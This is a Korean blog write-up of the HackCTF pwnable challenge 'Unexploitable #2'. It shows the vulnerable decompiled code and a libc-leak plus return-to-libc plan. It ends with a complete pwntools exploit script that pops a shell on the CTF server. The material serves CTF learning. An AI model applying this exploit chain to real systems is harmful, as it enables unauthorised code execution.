tmxklab
[HackCTF/Pwnable] Unexploitable #2 본문
1. 문제
nc ctf.j0n9hyun.xyz 3029
1) mitigation 확인
2) 문제 확인
- 입력 값을 받자마자 종료된다.
3) 코드 흐름 확인
3-1) main()
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [rsp+0h] [rbp-10h]
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
fwrite("Hard RTL ha? You don't even have fflush@dynstr!\n", 1uLL, 0x30uLL, _bss_start);
fgets(&s, 64, stdin);
return 0;
}
- s변수[rbp-0x10]에 fgets()를 통해 64bytes까지 입력 받을 수 있음 → bof
3-2) gift()
int gift()
{
return system("use this system gadget :D");
}
- Unexploitable #1문제와 동일하게 system함수가 주어졌다.
2. 접근방법
이전에 풀었던 Unexploitable #1과 동일하다.
bof를 통해 RTL이 가능하고 system함수도 주어졌기 때문에 system함수를 이용하여 주소를 leak하자
참고 :
[HackCTF/Pwnable] Unexploitable #1
1. 문제 nc ctf.j0n9hyun.xyz 3023 1) mitigation 확인 2) 문제 확인 system@plt는 주어졌다고 출력하면서 입력 값을 받을 수 있다. 3) 코드 흐름 확인 3-1) main() int __cdecl main(int argc, const char **..
rninche01.tistory.com
공격 프로세스)
- RTL을 수행하여 system함수 인자에 fgets@got값을 넣자
- fgets함수 실제 주소 값이 leak되면서 libc base주소를 구할 수 있다.
- libc base주소를 통해 system함수, binsh문자열 주소를 구한다.
- RTL을 수행하여 system(binsh)을 한다.
3. 풀이
1) fgets() leak
- fgets() 하위 2bytes : 0x8ad0
2) libc database
- fgets offset : 0x6dad0
- system offset : 0x45390
- binsh offset : 0x18cd57
3) 익스코드
from pwn import *
context.log_level="debug"
#p = process("./Unexploitable_2")
p = remote("ctf.j0n9hyun.xyz", 3029)
e = ELF("./Unexploitable_2")
#gdb.attach(p, """b*0x400706""")
system_plt = e.symbols['system']
main_addr = e.symbols['main']
pr_addr = 0x400773
fgets_got = e.got['fgets']
fgets_offset = 0x6dad0
system_offset = 0x45390
binsh_offset = 0x18cd57
# 1. leak fgets address
payload = "A"*0x18
payload += p64(pr_addr)
payload += p64(fgets_got)
payload += p64(system_plt)
payload += p64(main_addr)
p.sendlineafter("\n",payload)
p.recvuntil("1: ")
fgets_addr = u64(p.recv(6).ljust(8, "\x00"))
libc_base = fgets_addr - fgets_offset
system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset
log.info("libc_addr : " +hex(libc_base))
log.info("fgets_addr : " +hex(fgets_addr))
log.info("system_addr : " +hex(system_addr))
log.info("binsh_addr : " +hex(binsh_addr))
# 2. RTL
payload = "A"*0x18
payload += p64(pr_addr)
payload += p64(binsh_addr)
payload += p64(system_addr)
p.sendlineafter("\n", payload)
p.interactive()
4) 공격실행
'War Game > HackCTF' 카테고리의 다른 글
[HackCTF/Pwnable] j0n9hyun's secret (0) | 2020.08.15 |
---|---|
[HackCTF/Pwnable] babyheap (0) | 2020.08.15 |
[HackCTF/Pwnable] 풍수지리설 (0) | 2020.08.15 |
[HackCTF/Pwnable] World Best Encryption Tool (0) | 2020.08.15 |
[HackCTF/Pwnable] register (0) | 2020.08.15 |
Comments